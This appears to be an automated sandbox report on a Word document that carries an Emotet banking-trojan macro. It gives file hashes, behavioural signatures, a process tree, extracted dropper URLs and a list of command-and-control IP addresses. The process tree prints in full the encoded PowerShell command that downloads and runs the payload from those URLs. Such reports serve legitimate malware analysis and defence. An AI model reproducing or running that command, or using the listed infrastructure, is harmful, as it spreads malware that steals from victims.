Overview

overview

10

Static

static

8

SecuriteIn...70.doc

windows7_x64

10

SecuriteIn...70.doc

windows10_x64

10

Analysis

  • max time kernel
    143s
  • max time network
    102s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    31-07-2020 14:50

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General

  • Target

    SecuriteInfo.com.VBA.Heur.LEmoDldr.1.Gen.4911.10470.doc

  • Size

    169KB

  • MD5

    70cc4796d7633e1877b72ac8a903cc81

  • SHA1

    16d21e90a1da838f18dc324121475088f1ee914f

  • SHA256

    522b63a0d190f96b3d7e635d7431958b68f94c8f95a44594318d0e382b17bad5

  • SHA512

    a279d5bf1abfc05fd03909aa68853dcd01d91c3bbcb9978318dad710da7fe93a1b177854a9ecace54c5d34421043b4fdd459e9199e63a1c161e955c0260ab678

Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://mktf.mx/wp-includes/nf_p0w_z87k/
exe.dropper

http://dragonfang.com/nav/pu_4cz89_3e81ooa90c/
exe.dropper

http://maxiquim.cl/cgi-bin/qa0_i_qzk/
exe.dropper

https://www.planetkram.com/egherdbaseball/z_xu00_9hbk939elw/
exe.dropper

http://meulocal.com.br/suspend-page/0e_wt5bq_ekn/

Extracted

Family

emotet

C2

142.105.151.124:443

62.108.54.22:8080

212.51.142.238:8080

71.208.216.10:80

108.48.41.69:80

83.110.223.58:443

210.165.156.91:80

104.131.44.150:8080

104.236.246.93:8080

5.39.91.110:7080

209.141.54.221:8080

209.182.216.177:443

153.126.210.205:7080

91.211.88.52:7080

180.92.239.110:8080

183.101.175.193:80

162.241.92.219:8080

87.106.139.101:8080

114.146.222.200:80

65.111.120.223:80
rsa_pubkey.plain

Signatures

  • Blacklisted process makes network request 1 IoCs
  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Modifies registry class 280 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Drops file in System32 directory 2 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.VBA.Heur.LEmoDldr.1.Gen.4911.10470.doc"
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    • Suspicious behavior: AddClipboardFormatListener
    PID:1680
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABWAEcASgBLAFgAbQB4AGUAPQAnAEQARQBWAFIAVgB4AGgAbgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAYwBgAFUAUgBgAEkAdAB5AHAAcgBvAHQAbwBjAE8AbAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAEwASwBGAFIATQBkAHAAZAAgAD0AIAAnADEANAAnADsAJABBAEEASABOAFkAYgBuAGgAPQAnAFQAQgBNAE8AQgBhAGcAZwAnADsAJABGAFoAUgBWAEkAdQBtAHMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEwASwBGAFIATQBkAHAAZAArACcALgBlAHgAZQAnADsAJABWAEMARQBYAEUAbQBpAG8APQAnAFQATwBIAEsAWQBkAHEAYwAnADsAJABJAFoASwBYAEsAdwBzAHoAPQAuACgAJwBuAGUAdwAtACcAKwAnAG8AJwArACcAYgBqACcAKwAnAGUAYwB0ACcAKQAgAG4AZQB0AC4AVwBFAEIAYwBsAGkAZQBOAHQAOwAkAFYASQBDAFoAUgBzAHkAcgA9ACcAaAB0AHQAcAA6AC8ALwBtAGsAdABmAC4AbQB4AC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AbgBmAF8AcAAwAHcAXwB6ADgANwBrAC8AKgBoAHQAdABwADoALwAvAGQAcgBhAGcAbwBuAGYAYQBuAGcALgBjAG8AbQAvAG4AYQB2AC8AcAB1AF8ANABjAHoAOAA5AF8AMwBlADgAMQBvAG8AYQA5ADAAYwAvACoAaAB0AHQAcAA6AC8ALwBtAGEAeABpAHEAdQBpAG0ALgBjAGwALwBjAGcAaQAtAGIAaQBuAC8AcQBhADAAXwBpAF8AcQB6AGsALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAHAAbABhAG4AZQB0AGsAcgBhAG0ALgBjAG8AbQAvAGUAZwBoAGUAcgBkAGIAYQBzAGUAYgBhAGwAbAAvAHoAXwB4AHUAMAAwAF8AOQBoAGIAawA5ADMAOQBlAGwAdwAvACoAaAB0AHQAcAA6AC8ALwBtAGUAdQBsAG8AYwBhAGwALgBjAG8AbQAuAGIAcgAvAHMAdQBzAHAAZQBuAGQALQBwAGEAZwBlAC8AMABlAF8AdwB0ADUAYgBxAF8AZQBrAG4ALwAnAC4AIgBTAGAAUABsAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAE4AVABMAEkASwBlAGcAawA9ACcAUgBRAFUAUgBQAHIAYgBzACcAOwBmAG8AcgBlAGEAYwBoACgAJABMAE8AUABEAEUAcwBiAG4AIABpAG4AIAAkAFYASQBDAFoAUgBzAHkAcgApAHsAdAByAHkAewAkAEkAWgBLAFgASwB3AHMAegAuACIARABvAHcAbgBgAEwAYABPAEEAZABgAEYASQBMAEUAIgAoACQATABPAFAARABFAHMAYgBuACwAIAAkAEYAWgBSAFYASQB1AG0AcwApADsAJABUAEMAVgBWAEUAawBnAHQAPQAnAEkASgBDAEoAWAB5AGkAcwAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAEYAWgBSAFYASQB1AG0AcwApAC4AIgBsAGAAZQBgAE4AZwB0AGgAIgAgAC0AZwBlACAAMgA5ADYAMAA3ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBjAGAAUgBFAGEAYABUAEUAIgAoACQARgBaAFIAVgBJAHUAbQBzACkAOwAkAE4AUgBBAFEAVABmAHEAeAA9ACcAQwBaAFEASgBHAGUAeAB6ACcAOwBiAHIAZQBhAGsAOwAkAFMATwBCAEIAUQBtAHkAYgA9ACcASQBUAFYASgBXAGUAZwBmACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFQATABDAFAATgBtAGYAcgA9ACcAUwBaAFcARQBBAHkAbABhACcA
    1⤵
    • Blacklisted process makes network request
    • Process spawned unexpected child process
    • Suspicious behavior: EnumeratesProcesses
    • Drops file in System32 directory
    • Suspicious use of AdjustPrivilegeToken
    PID:1884
  • C:\Users\Admin\14.exe
    C:\Users\Admin\14.exe
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    • Drops file in System32 directory
    PID:1360
    • C:\Windows\SysWOW64\upnp\msscp.exe
      "C:\Windows\SysWOW64\upnp\msscp.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Suspicious behavior: EnumeratesProcesses
      • Executes dropped EXE
      PID:584

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • memory/584-14-0x00000000003D0000-0x00000000003DC000-memory.dmp

    Filesize

    48KB

    Download

  • memory/1360-11-0x0000000000310000-0x000000000031C000-memory.dmp

    Filesize

    48KB

    Download

  • memory/1680-2-0x0000000008830000-0x0000000008834000-memory.dmp

    Filesize

    16KB

    Download

  • memory/1680-4-0x0000000006DC0000-0x0000000006FC0000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/1680-5-0x000000000ACD0000-0x000000000ACD4000-memory.dmp

    Filesize

    16KB

    Download

  • memory/1680-6-0x000000000BD50000-0x000000000BD54000-memory.dmp

    Filesize

    16KB

    Download